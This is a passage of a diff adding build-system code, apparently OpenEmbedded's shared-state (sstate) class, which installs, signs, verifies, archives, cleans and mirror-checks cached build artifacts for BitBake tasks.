+ i = d2.expand("${SSTATE_MANIFESTS}/index-${SSTATE_MANMACH}")
+ l = bb.utils.lockfile(i + ".lock")
+ filedata = d.getVar("STAMP") + " " + d2.getVar("SSTATE_MANFILEPREFIX") + " " + d.getVar("WORKDIR") + "\n"
+ manifests = []
+ if os.path.exists(i):
+ with open(i, "r") as f:
+ manifests = f.readlines()
+ # We append new entries, we don't remove older entries which may have the same
+ # manifest name but different versions from stamp/workdir. See below.
+ if filedata not in manifests:
+ with open(i, "a+") as f:
+ f.write(filedata)
+ bb.utils.unlockfile(l)
+
+ # Run the actual file install
+ for state in ss['dirs']:
+ if os.path.exists(state[1]):
+ oe.path.copyhardlinktree(state[1], state[2])
+
+ for postinst in (d.getVar('SSTATEPOSTINSTFUNCS') or '').split():
+ # All hooks should run in the SSTATE_INSTDIR
+ bb.build.exec_func(postinst, d, (sstateinst,))
+
+ for lock in locks:
+ bb.utils.unlockfile(lock)
+
+sstate_install[vardepsexclude] += "SSTATE_ALLOW_OVERLAP_FILES SSTATE_MANMACH SSTATE_MANFILEPREFIX"
+sstate_install[vardeps] += "${SSTATEPOSTINSTFUNCS}"
+
+def sstate_installpkg(ss, d):
+ from oe.gpg_sign import get_signer
+
+ sstateinst = d.expand("${WORKDIR}/sstate-install-%s/" % ss['task'])
+ d.setVar("SSTATE_CURRTASK", ss['task'])
+ sstatefetch = d.getVar('SSTATE_PKGNAME')
+ sstatepkg = d.getVar('SSTATE_PKG')
+ verify_sig = bb.utils.to_boolean(d.getVar("SSTATE_VERIFY_SIG"), False)
+
+ if not os.path.exists(sstatepkg) or (verify_sig and not os.path.exists(sstatepkg + '.sig')):
+ pstaging_fetch(sstatefetch, d)
+
+ if not os.path.isfile(sstatepkg):
+ bb.note("Sstate package %s does not exist" % sstatepkg)
+ return False
+
+ sstate_clean(ss, d)
+
+ d.setVar('SSTATE_INSTDIR', sstateinst)
+
+ if verify_sig:
+ if not os.path.isfile(sstatepkg + '.sig'):
+ bb.warn("No signature file for sstate package %s, skipping acceleration..." % sstatepkg)
+ return False
+ signer = get_signer(d, 'local')
+ if not signer.verify(sstatepkg + '.sig', d.getVar("SSTATE_VALID_SIGS")):
+ bb.warn("Cannot verify signature on sstate package %s, skipping acceleration..." % sstatepkg)
+ return False
+
+ # Empty sstateinst directory, ensure its clean
+ if os.path.exists(sstateinst):
+ oe.path.remove(sstateinst)
+ bb.utils.mkdirhier(sstateinst)
+
+ sstateinst = d.getVar("SSTATE_INSTDIR")
+ d.setVar('SSTATE_FIXMEDIR', ss['fixmedir'])
+
+ for f in (d.getVar('SSTATEPREINSTFUNCS') or '').split() + ['sstate_unpack_package']:
+ # All hooks should run in the SSTATE_INSTDIR
+ bb.build.exec_func(f, d, (sstateinst,))
+
+ return sstate_installpkgdir(ss, d)
+
+def sstate_installpkgdir(ss, d):
+ import oe.path
+ import subprocess
+
+ sstateinst = d.getVar("SSTATE_INSTDIR")
+ d.setVar('SSTATE_FIXMEDIR', ss['fixmedir'])
+
+ for f in (d.getVar('SSTATEPOSTUNPACKFUNCS') or '').split():
+ # All hooks should run in the SSTATE_INSTDIR
+ bb.build.exec_func(f, d, (sstateinst,))
+
+ def prepdir(dir):
+ # remove dir if it exists, ensure any parent directories do exist
+ if os.path.exists(dir):
+ oe.path.remove(dir)
+ bb.utils.mkdirhier(dir)
+ oe.path.remove(dir)
+
+ for state in ss['dirs']:
+ prepdir(state[1])
+ bb.utils.rename(sstateinst + state[0], state[1])
+ sstate_install(ss, d)
+
+ for plain in ss['plaindirs']:
+ workdir = d.getVar('WORKDIR')
+ sharedworkdir = os.path.join(d.getVar('TMPDIR'), "work-shared")
+ src = sstateinst + "/" + plain.replace(workdir, '')
+ if sharedworkdir in plain:
+ src = sstateinst + "/" + plain.replace(sharedworkdir, '')
+ dest = plain
+ bb.utils.mkdirhier(src)
+ prepdir(dest)
+ bb.utils.rename(src, dest)
+
+ return True
+
+python sstate_hardcode_path_unpack () {
+ # Fixup hardcoded paths
+ #
+ # Note: The logic below must match the reverse logic in
+ # sstate_hardcode_path(d)
+ import subprocess
+
+ sstateinst = d.getVar('SSTATE_INSTDIR')
+ sstatefixmedir = d.getVar('SSTATE_FIXMEDIR')
+ fixmefn = sstateinst + "fixmepath"
+ if os.path.isfile(fixmefn):
+ staging_target = d.getVar('RECIPE_SYSROOT')
+ staging_host = d.getVar('RECIPE_SYSROOT_NATIVE')
+
+ if bb.data.inherits_class('native', d) or bb.data.inherits_class('cross-canadian', d):
+ sstate_sed_cmd = "sed -i -e 's:FIXMESTAGINGDIRHOST:%s:g'" % (staging_host)
+ elif bb.data.inherits_class('cross', d) or bb.data.inherits_class('crosssdk', d):
+ sstate_sed_cmd = "sed -i -e 's:FIXMESTAGINGDIRTARGET:%s:g; s:FIXMESTAGINGDIRHOST:%s:g'" % (staging_target, staging_host)
+ else:
+ sstate_sed_cmd = "sed -i -e 's:FIXMESTAGINGDIRTARGET:%s:g'" % (staging_target)
+
+ extra_staging_fixmes = d.getVar('EXTRA_STAGING_FIXMES') or ''
+ for fixmevar in extra_staging_fixmes.split():
+ fixme_path = d.getVar(fixmevar)
+ sstate_sed_cmd += " -e 's:FIXME_%s:%s:g'" % (fixmevar, fixme_path)
+
+ # Add sstateinst to each filename in fixmepath, use xargs to efficiently call sed
+ sstate_hardcode_cmd = "sed -e 's:^:%s:g' %s | xargs %s" % (sstateinst, fixmefn, sstate_sed_cmd)
+
+ # Defer do_populate_sysroot relocation command
+ if sstatefixmedir:
+ bb.utils.mkdirhier(sstatefixmedir)
+ with open(sstatefixmedir + "/fixmepath.cmd", "w") as f:
+ sstate_hardcode_cmd = sstate_hardcode_cmd.replace(fixmefn, sstatefixmedir + "/fixmepath")
+ sstate_hardcode_cmd = sstate_hardcode_cmd.replace(sstateinst, "FIXMEFINALSSTATEINST")
+ sstate_hardcode_cmd = sstate_hardcode_cmd.replace(staging_host, "FIXMEFINALSSTATEHOST")
+ sstate_hardcode_cmd = sstate_hardcode_cmd.replace(staging_target, "FIXMEFINALSSTATETARGET")
+ f.write(sstate_hardcode_cmd)
+ bb.utils.copyfile(fixmefn, sstatefixmedir + "/fixmepath")
+ return
+
+ bb.note("Replacing fixme paths in sstate package: %s" % (sstate_hardcode_cmd))
+ subprocess.check_call(sstate_hardcode_cmd, shell=True)
+
+ # Need to remove this or we'd copy it into the target directory and may
+ # conflict with another writer
+ os.remove(fixmefn)
+}
+
+def sstate_clean_cachefile(ss, d):
+ import oe.path
+
+ if d.getVarFlag('do_%s' % ss['task'], 'task'):
+ d.setVar("SSTATE_PATH_CURRTASK", ss['task'])
+ sstatepkgfile = d.getVar('SSTATE_PATHSPEC')
+ bb.note("Removing %s" % sstatepkgfile)
+ oe.path.remove(sstatepkgfile)
+
+def sstate_clean_cachefiles(d):
+ for task in (d.getVar('SSTATETASKS') or "").split():
+ ld = d.createCopy()
+ ss = sstate_state_fromvars(ld, task)
+ sstate_clean_cachefile(ss, ld)
+
+def sstate_clean_manifest(manifest, d, canrace=False, prefix=None):
+ import oe.path
+
+ mfile = open(manifest)
+ entries = mfile.readlines()
+ mfile.close()
+
+ for entry in entries:
+ entry = entry.strip()
+ if prefix and not entry.startswith("/"):
+ entry = prefix + "/" + entry
+ bb.debug(2, "Removing manifest: %s" % entry)
+ # We can race against another package populating directories as we're removing them
+ # so we ignore errors here.
+ try:
+ if entry.endswith("/"):
+ if os.path.islink(entry[:-1]):
+ os.remove(entry[:-1])
+ elif os.path.exists(entry) and len(os.listdir(entry)) == 0 and not canrace:
+ # Removing directories whilst builds are in progress exposes a race. Only
+ # do it in contexts where it is safe to do so.
+ os.rmdir(entry[:-1])
+ else:
+ os.remove(entry)
+ except OSError:
+ pass
+
+ postrm = manifest + ".postrm"
+ if os.path.exists(manifest + ".postrm"):
+ import subprocess
+ os.chmod(postrm, 0o755)
+ subprocess.check_call(postrm, shell=True)
+ oe.path.remove(postrm)
+
+ oe.path.remove(manifest)
+
+def sstate_clean(ss, d):
+ import oe.path
+ import glob
+
+ d2 = d.createCopy()
+ stamp_clean = d.getVar("STAMPCLEAN")
+ extrainf = d.getVarFlag("do_" + ss['task'], 'stamp-extra-info')
+ if extrainf:
+ d2.setVar("SSTATE_MANMACH", extrainf)
+ wildcard_stfile = "%s.do_%s*.%s" % (stamp_clean, ss['task'], extrainf)
+ else:
+ wildcard_stfile = "%s.do_%s*" % (stamp_clean, ss['task'])
+
+ manifest = d2.expand("${SSTATE_MANFILEPREFIX}.%s" % ss['task'])
+
+ if os.path.exists(manifest):
+ locks = []
+ for lock in ss['lockfiles-shared']:
+ locks.append(bb.utils.lockfile(lock))
+ for lock in ss['lockfiles']:
+ locks.append(bb.utils.lockfile(lock))
+
+ sstate_clean_manifest(manifest, d, canrace=True)
+
+ for lock in locks:
+ bb.utils.unlockfile(lock)
+
+ # Remove the current and previous stamps, but keep the sigdata.
+ #
+ # The glob() matches do_task* which may match multiple tasks, for
+ # example: do_package and do_package_write_ipk, so we need to
+ # exactly match *.do_task.* and *.do_task_setscene.*
+ rm_stamp = '.do_%s.' % ss['task']
+ rm_setscene = '.do_%s_setscene.' % ss['task']
+ # For BB_SIGNATURE_HANDLER = "noop"
+ rm_nohash = ".do_%s" % ss['task']
+ for stfile in glob.glob(wildcard_stfile):
+ # Keep the sigdata
+ if ".sigdata." in stfile or ".sigbasedata." in stfile:
+ continue
+ # Preserve taint files in the stamps directory
+ if stfile.endswith('.taint'):
+ continue
+ if rm_stamp in stfile or rm_setscene in stfile or \
+ stfile.endswith(rm_nohash):
+ oe.path.remove(stfile)
+
+sstate_clean[vardepsexclude] = "SSTATE_MANFILEPREFIX"
+
+CLEANFUNCS += "sstate_cleanall"
+
+python sstate_cleanall() {
+ bb.note("Removing shared state for package %s" % d.getVar('PN'))
+
+ manifest_dir = d.getVar('SSTATE_MANIFESTS')
+ if not os.path.exists(manifest_dir):
+ return
+
+ tasks = d.getVar('SSTATETASKS').split()
+ for name in tasks:
+ ld = d.createCopy()
+ shared_state = sstate_state_fromvars(ld, name)
+ sstate_clean(shared_state, ld)
+}
+
+python sstate_hardcode_path () {
+ import subprocess, platform
+
+ # Need to remove hardcoded paths and fix these when we install the
+ # staging packages.
+ #
+ # Note: the logic in this function needs to match the reverse logic
+ # in sstate_installpkg(ss, d)
+
+ staging_target = d.getVar('RECIPE_SYSROOT')
+ staging_host = d.getVar('RECIPE_SYSROOT_NATIVE')
+ sstate_builddir = d.getVar('SSTATE_BUILDDIR')
+
+ sstate_sed_cmd = "sed -i -e 's:%s:FIXMESTAGINGDIRHOST:g'" % staging_host
+ if bb.data.inherits_class('native', d) or bb.data.inherits_class('cross-canadian', d):
+ sstate_grep_cmd = "grep -l -e '%s'" % (staging_host)
+ elif bb.data.inherits_class('cross', d) or bb.data.inherits_class('crosssdk', d):
+ sstate_grep_cmd = "grep -l -e '%s' -e '%s'" % (staging_target, staging_host)
+ sstate_sed_cmd += " -e 's:%s:FIXMESTAGINGDIRTARGET:g'" % staging_target
+ else:
+ sstate_grep_cmd = "grep -l -e '%s' -e '%s'" % (staging_target, staging_host)
+ sstate_sed_cmd += " -e 's:%s:FIXMESTAGINGDIRTARGET:g'" % staging_target
+
+ extra_staging_fixmes = d.getVar('EXTRA_STAGING_FIXMES') or ''
+ for fixmevar in extra_staging_fixmes.split():
+ fixme_path = d.getVar(fixmevar)
+ sstate_sed_cmd += " -e 's:%s:FIXME_%s:g'" % (fixme_path, fixmevar)
+ sstate_grep_cmd += " -e '%s'" % (fixme_path)
+
+ fixmefn = sstate_builddir + "fixmepath"
+
+ sstate_scan_cmd = d.getVar('SSTATE_SCAN_CMD')
+ sstate_filelist_cmd = "tee %s" % (fixmefn)
+
+ # fixmepath file needs relative paths, drop sstate_builddir prefix
+ sstate_filelist_relative_cmd = "sed -i -e 's:^%s::g' %s" % (sstate_builddir, fixmefn)
+
+ xargs_no_empty_run_cmd = '--no-run-if-empty'
+ if platform.system() == 'Darwin':
+ xargs_no_empty_run_cmd = ''
+
+ # Limit the fixpaths and sed operations based on the initial grep search
+ # This has the side effect of making sure the vfs cache is hot
+ sstate_hardcode_cmd = "%s | xargs %s | %s | xargs %s %s" % (sstate_scan_cmd, sstate_grep_cmd, sstate_filelist_cmd, xargs_no_empty_run_cmd, sstate_sed_cmd)
+
+ bb.note("Removing hardcoded paths from sstate package: '%s'" % (sstate_hardcode_cmd))
+ subprocess.check_output(sstate_hardcode_cmd, shell=True, cwd=sstate_builddir)
+
+ # If the fixmefn is empty, remove it..
+ if os.stat(fixmefn).st_size == 0:
+ os.remove(fixmefn)
+ else:
+ bb.note("Replacing absolute paths in fixmepath file: '%s'" % (sstate_filelist_relative_cmd))
+ subprocess.check_output(sstate_filelist_relative_cmd, shell=True)
+}
+
+def sstate_package(ss, d):
+ import oe.path
+ import time
+
+ tmpdir = d.getVar('TMPDIR')
+
+ fixtime = False
+ if ss['task'] == "package":
+ fixtime = True
+
+ def fixtimestamp(root, path):
+ f = os.path.join(root, path)
+ if os.lstat(f).st_mtime > sde:
+ os.utime(f, (sde, sde), follow_symlinks=False)
+
+ sstatebuild = d.expand("${WORKDIR}/sstate-build-%s/" % ss['task'])
+ sde = int(d.getVar("SOURCE_DATE_EPOCH") or time.time())
+ d.setVar("SSTATE_CURRTASK", ss['task'])
+ bb.utils.remove(sstatebuild, recurse=True)
+ bb.utils.mkdirhier(sstatebuild)
+ for state in ss['dirs']:
+ if not os.path.exists(state[1]):
+ continue
+ srcbase = state[0].rstrip("/").rsplit('/', 1)[0]
+ # Find and error for absolute symlinks. We could attempt to relocate but its not
+ # clear where the symlink is relative to in this context. We could add that markup
+ # to sstate tasks but there aren't many of these so better just avoid them entirely.
+ for walkroot, dirs, files in os.walk(state[1]):
+ for file in files + dirs:
+ if fixtime:
+ fixtimestamp(walkroot, file)
+ srcpath = os.path.join(walkroot, file)
+ if not os.path.islink(srcpath):
+ continue
+ link = os.readlink(srcpath)
+ if not os.path.isabs(link):
+ continue
+ if not link.startswith(tmpdir):
+ continue
+ bb.error("sstate found an absolute path symlink %s pointing at %s. Please replace this with a relative link." % (srcpath, link))
+ bb.debug(2, "Preparing tree %s for packaging at %s" % (state[1], sstatebuild + state[0]))
+ bb.utils.rename(state[1], sstatebuild + state[0])
+
+ workdir = d.getVar('WORKDIR')
+ sharedworkdir = os.path.join(d.getVar('TMPDIR'), "work-shared")
+ for plain in ss['plaindirs']:
+ pdir = plain.replace(workdir, sstatebuild)
+ if sharedworkdir in plain:
+ pdir = plain.replace(sharedworkdir, sstatebuild)
+ bb.utils.mkdirhier(plain)
+ bb.utils.mkdirhier(pdir)
+ bb.utils.rename(plain, pdir)
+ if fixtime:
+ fixtimestamp(pdir, "")
+ for walkroot, dirs, files in os.walk(pdir):
+ for file in files + dirs:
+ fixtimestamp(walkroot, file)
+
+ d.setVar('SSTATE_BUILDDIR', sstatebuild)
+ d.setVar('SSTATE_INSTDIR', sstatebuild)
+
+ if d.getVar('SSTATE_SKIP_CREATION') == '1':
+ return
+
+ sstate_create_package = ['sstate_report_unihash', 'sstate_create_and_sign_package']
+
+ for f in (d.getVar('SSTATECREATEFUNCS') or '').split() + \
+ sstate_create_package + \
+ (d.getVar('SSTATEPOSTCREATEFUNCS') or '').split():
+ # All hooks should run in SSTATE_BUILDDIR.
+ bb.build.exec_func(f, d, (sstatebuild,))
+
+ # SSTATE_PKG may have been changed by sstate_report_unihash
+ siginfo = d.getVar('SSTATE_PKG') + ".siginfo"
+ if not os.path.exists(siginfo):
+ bb.siggen.dump_this_task(siginfo, d)
+ else:
+ try:
+ os.utime(siginfo, None)
+ except PermissionError:
+ pass
+ except OSError as e:
+ # Handle read-only file systems gracefully
+ import errno
+ if e.errno != errno.EROFS:
+ raise e
+
+ return
+
+sstate_package[vardepsexclude] += "SSTATE_SIG_KEY"
+
+def pstaging_fetch(sstatefetch, d):
+ import bb.fetch2
+
+ # Only try and fetch if the user has configured a mirror
+ mirrors = d.getVar('SSTATE_MIRRORS')
+ if not mirrors:
+ return
+
+ # Copy the data object and override DL_DIR and SRC_URI
+ localdata = bb.data.createCopy(d)
+
+ dldir = localdata.expand("${SSTATE_DIR}")
+ bb.utils.mkdirhier(dldir)
+
+ localdata.delVar('MIRRORS')
+ localdata.setVar('FILESPATH', dldir)
+ localdata.setVar('DL_DIR', dldir)
+ localdata.setVar('PREMIRRORS', mirrors)
+
+ # if BB_NO_NETWORK is set but we also have SSTATE_MIRROR_ALLOW_NETWORK,
+ # we'll want to allow network access for the current set of fetches.
+ if bb.utils.to_boolean(localdata.getVar('BB_NO_NETWORK')) and \
+ bb.utils.to_boolean(localdata.getVar('SSTATE_MIRROR_ALLOW_NETWORK')):
+ localdata.delVar('BB_NO_NETWORK')
+
+ # Try a fetch from the sstate mirror, if it fails just return and
+ # we will build the package
+ uris = ['file://{0};downloadfilename={0}'.format(sstatefetch),
+ 'file://{0}.siginfo;downloadfilename={0}.siginfo'.format(sstatefetch)]
+ if bb.utils.to_boolean(d.getVar("SSTATE_VERIFY_SIG"), False):
+ uris += ['file://{0}.sig;downloadfilename={0}.sig'.format(sstatefetch)]
+
+ for srcuri in uris:
+ localdata.delVar('SRC_URI')
+ localdata.setVar('SRC_URI', srcuri)
+ try:
+ fetcher = bb.fetch2.Fetch([srcuri], localdata, cache=False)
+ fetcher.checkstatus()
+ fetcher.download()
+
+ except bb.fetch2.BBFetchException:
+ pass
+
+def sstate_setscene(d):
+ shared_state = sstate_state_fromvars(d)
+ accelerate = sstate_installpkg(shared_state, d)
+ if not accelerate:
+ msg = "No sstate archive obtainable, will run full task instead."
+ bb.warn(msg)
+ raise bb.BBHandledException(msg)
+
+python sstate_task_prefunc () {
+ shared_state = sstate_state_fromvars(d)
+ sstate_clean(shared_state, d)
+}
+sstate_task_prefunc[dirs] = "${WORKDIR}"
+
+python sstate_task_postfunc () {
+ shared_state = sstate_state_fromvars(d)
+
+ for intercept in shared_state['interceptfuncs']:
+ bb.build.exec_func(intercept, d, (d.getVar("WORKDIR"),))
+
+ omask = os.umask(0o002)
+ if omask != 0o002:
+ bb.note("Using umask 0o002 (not %0o) for sstate packaging" % omask)
+ sstate_package(shared_state, d)
+ os.umask(omask)
+
+ sstateinst = d.getVar("SSTATE_INSTDIR")
+ d.setVar('SSTATE_FIXMEDIR', shared_state['fixmedir'])
+
+ sstate_installpkgdir(shared_state, d)
+
+ bb.utils.remove(d.getVar("SSTATE_BUILDDIR"), recurse=True)
+}
+sstate_task_postfunc[dirs] = "${WORKDIR}"
+
+# Create a sstate package
+# If enabled, sign the package.
+# Package and signature are created in a sub-directory
+# and renamed in place once created.
+python sstate_create_and_sign_package () {
+ from pathlib import Path
+
+ # Best effort touch
+ def touch(file):
+ try:
+ file.touch()
+ except:
+ pass
+
+ def update_file(src, dst, force=False):
+ if dst.is_symlink() and not dst.exists():
+ force=True
+ try:
+ # This relies on that src is a temporary file that can be renamed
+ # or left as is.
+ if force:
+ src.rename(dst)
+ else:
+ os.link(src, dst)
+ return True
+ except:
+ pass
+
+ if dst.exists():
+ touch(dst)
+
+ return False
+
+ sign_pkg = (
+ bb.utils.to_boolean(d.getVar("SSTATE_VERIFY_SIG")) and
+ bool(d.getVar("SSTATE_SIG_KEY"))
+ )
+
+ sstate_pkg = Path(d.getVar("SSTATE_PKG"))
+ sstate_pkg_sig = Path(str(sstate_pkg) + ".sig")
+ if sign_pkg:
+ if sstate_pkg.exists() and sstate_pkg_sig.exists():
+ touch(sstate_pkg)
+ touch(sstate_pkg_sig)
+ return
+ else:
+ if sstate_pkg.exists():
+ touch(sstate_pkg)
+ return
+
+ # Create the required sstate directory if it is not present.
+ if not sstate_pkg.parent.is_dir():
+ with bb.utils.umask(0o002):
+ bb.utils.mkdirhier(str(sstate_pkg.parent))
+
+ if sign_pkg:
+ from tempfile import TemporaryDirectory
+ with TemporaryDirectory(dir=sstate_pkg.parent) as tmp_dir:
+ tmp_pkg = Path(tmp_dir) / sstate_pkg.name
+ d.setVar("TMP_SSTATE_PKG", str(tmp_pkg))
+ bb.build.exec_func('sstate_archive_package', d)
+
+ from oe.gpg_sign import get_signer
+ signer = get_signer(d, 'local')
+ signer.detach_sign(str(tmp_pkg), d.getVar('SSTATE_SIG_KEY'), None,
+ d.getVar('SSTATE_SIG_PASSPHRASE'), armor=False)
+
+ tmp_pkg_sig = Path(tmp_dir) / sstate_pkg_sig.name
+ if not update_file(tmp_pkg_sig, sstate_pkg_sig):
+ # If the created signature file could not be copied into place,
+ # then we should not use the sstate package either.
+ return
+
+ # If the .sig file was updated, then the sstate package must also
+ # be updated.
+ update_file(tmp_pkg, sstate_pkg, force=True)
+ else:
+ from tempfile import NamedTemporaryFile
+ with NamedTemporaryFile(prefix=sstate_pkg.name, dir=sstate_pkg.parent) as tmp_pkg_fd:
+ tmp_pkg = tmp_pkg_fd.name
+ d.setVar("TMP_SSTATE_PKG", str(tmp_pkg))
+ bb.build.exec_func('sstate_archive_package',d)
+ update_file(tmp_pkg, sstate_pkg)
+ # update_file() may have renamed tmp_pkg, which must exist when the
+ # NamedTemporaryFile() context handler ends.
+ touch(Path(tmp_pkg))
+
+}
+
+# Shell function to generate a sstate package from a directory
+# set as SSTATE_BUILDDIR. Will be run from within SSTATE_BUILDDIR.
+# The calling function handles moving the sstate package into the final
+# destination.
+sstate_archive_package () {
+ OPT="-cS"
+ ZSTD="zstd -${SSTATE_ZSTD_CLEVEL} -T${ZSTD_THREADS}"
+ # Use pzstd if available
+ if [ -x "$(command -v pzstd)" ]; then
+ ZSTD="pzstd -${SSTATE_ZSTD_CLEVEL} -p ${ZSTD_THREADS}"
+ fi
+
+ # Need to handle empty directories
+ if [ "$(ls -A)" ]; then
+ set +e
+ tar -I "$ZSTD" $OPT -f ${TMP_SSTATE_PKG} *
+ ret=$?
+ if [ $ret -ne 0 ] && [ $ret -ne 1 ]; then
+ exit 1
+ fi
+ set -e
+ else
+ tar -I "$ZSTD" $OPT --file=${TMP_SSTATE_PKG} --files-from=/dev/null
+ fi
+ chmod 0664 ${TMP_SSTATE_PKG}
+}
+
+
+python sstate_report_unihash() {
+ report_unihash = getattr(bb.parse.siggen, 'report_unihash', None)
+
+ if report_unihash:
+ ss = sstate_state_fromvars(d)
+ report_unihash(os.getcwd(), ss['task'], d)
+}
+
+#
+# Shell function to decompress and prepare a package for installation
+# Will be run from within SSTATE_INSTDIR.
+#
+sstate_unpack_package () {
+ ZSTD="zstd -T${ZSTD_THREADS}"
+ # Use pzstd if available
+ if [ -x "$(command -v pzstd)" ]; then
+ ZSTD="pzstd -p ${ZSTD_THREADS}"
+ fi
+
+ tar -I "$ZSTD" -xvpf ${SSTATE_PKG}
+ # update .siginfo atime on local/NFS mirror if it is a symbolic link
+ [ ! -h ${SSTATE_PKG}.siginfo ] || [ ! -e ${SSTATE_PKG}.siginfo ] || touch -a ${SSTATE_PKG}.siginfo 2>/dev/null || true
+ # update each symbolic link instead of any referenced file
+ touch --no-dereference ${SSTATE_PKG} 2>/dev/null || true
+ [ ! -e ${SSTATE_PKG}.sig ] || touch --no-dereference ${SSTATE_PKG}.sig 2>/dev/null || true
+ [ ! -e ${SSTATE_PKG}.siginfo ] || touch --no-dereference ${SSTATE_PKG}.siginfo 2>/dev/null || true
+}
+
+BB_HASHCHECK_FUNCTION = "sstate_checkhashes"
+
+def sstate_checkhashes(sq_data, d, siginfo=False, currentcount=0, summary=True, **kwargs):
+ import itertools
+
+ found = set()
+ missed = set()
+
+ def gethash(task):
+ return sq_data['unihash'][task]
+
+ def getpathcomponents(task, d):
+ # Magic data from BB_HASHFILENAME
+ splithashfn = sq_data['hashfn'][task].split(" ")
+ spec = splithashfn[1]
+ if splithashfn[0] == "True":
+ extrapath = d.getVar("NATIVELSBSTRING") + "/"
+ else:
+ extrapath = ""
+
+ tname = bb.runqueue.taskname_from_tid(task)[3:]
+
+ if tname in ["fetch", "unpack", "patch", "populate_lic", "preconfigure"] and splithashfn[2]:
+ spec = splithashfn[2]
+ extrapath = ""
+
+ return spec, extrapath, tname
+
+ def getsstatefile(tid, siginfo, d):
+ spec, extrapath, tname = getpathcomponents(tid, d)
+ return extrapath + generate_sstatefn(spec, gethash(tid), tname, siginfo, d)
+
+ for tid in sq_data['hash']:
+
+ sstatefile = d.expand("${SSTATE_DIR}/" + getsstatefile(tid, siginfo, d))
+
+ if os.path.exists(sstatefile):
+ oe.utils.touch(sstatefile)
+ found.add(tid)
+ bb.debug(2, "SState: Found valid sstate file %s" % sstatefile)
+ else:
+ missed.add(tid)
+ bb.debug(2, "SState: Looked for but didn't find file %s" % sstatefile)
+
+ foundLocal = len(found)
+ mirrors = d.getVar("SSTATE_MIRRORS")
+ if mirrors:
+ # Copy the data object and override DL_DIR and SRC_URI
+ localdata = bb.data.createCopy(d)
+
+ dldir = localdata.expand("${SSTATE_DIR}")
+ localdata.delVar('MIRRORS')
+ localdata.setVar('FILESPATH', dldir)
+ localdata.setVar('DL_DIR', dldir)
+ localdata.setVar('PREMIRRORS', mirrors)
+
+ bb.debug(2, "SState using premirror of: %s" % mirrors)
+
+ # if BB_NO_NETWORK is set but we also have SSTATE_MIRROR_ALLOW_NETWORK,
+ # we'll want to allow network access for the current set of fetches.
+ if bb.utils.to_boolean(localdata.getVar('BB_NO_NETWORK')) and \
+ bb.utils.to_boolean(localdata.getVar('SSTATE_MIRROR_ALLOW_NETWORK')):
+ localdata.delVar('BB_NO_NETWORK')
+
+ from bb.fetch2 import FetchConnectionCache
+ def checkstatus_init():
+ while not connection_cache_pool.full():
+ connection_cache_pool.put(FetchConnectionCache())
+
+ def checkstatus_end():
+ while not connection_cache_pool.empty():
+ connection_cache = connection_cache_pool.get()
+ connection_cache.close_connections()
+
+ def checkstatus(arg):
+ (tid, sstatefile) = arg
+
+ connection_cache = connection_cache_pool.get()
+ localdata2 = bb.data.createCopy(localdata)
+ srcuri = "file://" + sstatefile
+ localdata2.setVar('SRC_URI', srcuri)
+ bb.debug(2, "SState: Attempting to fetch %s" % srcuri)
+
+ import traceback
+
+ try:
+ fetcher = bb.fetch2.Fetch(srcuri.split(), localdata2,
+ connection_cache=connection_cache)
+ fetcher.checkstatus()
+ bb.debug(2, "SState: Successful fetch test for %s" % srcuri)
+ found.add(tid)
+ missed.remove(tid)
+ except bb.fetch2.FetchError as e:
+ bb.debug(2, "SState: Unsuccessful fetch test for %s (%s)\n%s" % (srcuri, repr(e), traceback.format_exc()))
+ except Exception as e:
+ bb.error("SState: cannot test %s: %s\n%s" % (srcuri, repr(e), traceback.format_exc()))
+
+ connection_cache_pool.put(connection_cache)
+
+ if progress:
+ bb.event.fire(bb.event.ProcessProgress(msg, next(cnt_tasks_done)), d)
+ bb.event.check_for_interrupts(d)
+
+ tasklist = []
+ for tid in missed:
+ sstatefile = d.expand(getsstatefile(tid, siginfo, d))
+ tasklist.append((tid, sstatefile))
+
+ if tasklist:
+ nproc = min(int(d.getVar("BB_NUMBER_THREADS")), len(tasklist))
+
+ ## thread-safe counter
+ cnt_tasks_done = itertools.count(start = 1)
+ progress = len(tasklist) >= 100
+ if progress:
+ msg = "Checking sstate mirror object availability"
+ bb.event.fire(bb.event.ProcessStarted(msg, len(tasklist)), d)
+
+ # Have to setup the fetcher environment here rather than in each thread as it would race
+ fetcherenv = bb.fetch2.get_fetcher_environment(d)
+ with bb.utils.environment(**fetcherenv):
+ bb.event.enable_threadlock()
+ import concurrent.futures
+ from queue import Queue
+ connection_cache_pool = Queue(nproc)
+ checkstatus_init()
+ with concurrent.futures.ThreadPoolExecutor(max_workers=nproc) as executor:
+ executor.map(checkstatus, tasklist.copy())
+ checkstatus_end()
+ bb.event.disable_threadlock()
+
+ if progress:
+ bb.event.fire(bb.event.ProcessFinished(msg), d)
+
+ inheritlist = d.getVar("INHERIT")
+ if "toaster" in inheritlist:
+ evdata = {'missed': [], 'found': []};
+ for tid in missed:
+ sstatefile = d.expand(getsstatefile(tid, False, d))
+ evdata['missed'].append((bb.runqueue.fn_from_tid(tid), bb.runqueue.taskname_from_tid(tid), gethash(tid), sstatefile ) )
+ for tid in found:
+ sstatefile = d.expand(getsstatefile(tid, False, d))
+ evdata['found'].append((bb.runqueue.fn_from_tid(tid), bb.runqueue.taskname_from_tid(tid), gethash(tid), sstatefile ) )
+ bb.event.fire(bb.event.MetadataEvent("MissedSstate", evdata), d)
+
+ if summary:
+ # Print some summary statistics about the current task completion and how much sstate
+ # reuse there was. Avoid divide by zero errors.
+ total = len(sq_data['hash'])
+ complete = 0
+ if currentcount:
+ complete = (len(found) + currentcount) / (total + currentcount) * 100
+ match = 0
+ if total:
+ match = len(found) / total * 100
+ bb.plain("Sstate summary: Wanted %d Local %d Mirrors %d Missed %d Current %d (%d%% match, %d%% complete)" %
+ (total, foundLocal, len(found)-foundLocal, len(missed), currentcount, match, complete))
+
+ if hasattr(bb.parse.siggen, "checkhashes"):
+ bb.parse.siggen.checkhashes(sq_data, missed, found, d)
+
+ return found
+setscene_depvalid[vardepsexclude] = "SSTATE_EXCLUDEDEPS_SYSROOT"
+
+BB_SETSCENE_DEPVALID = "setscene_depvalid"
+
+def setscene_depvalid(task, taskdependees, notneeded, d, log=None):
+ # taskdependees is a dict of tasks which depend on task, each being a 3 item list of [PN, TASKNAME, FILENAME]
+ # task is included in taskdependees too
+ # Return - False - We need this dependency
+ # - True - We can skip this dependency
+ import re
+
+ def logit(msg, log):
+ if log is not None:
+ log.append(msg)
+ else:
+ bb.debug(2, msg)
+
+ logit("Considering setscene task: %s" % (str(taskdependees[task])), log)
+
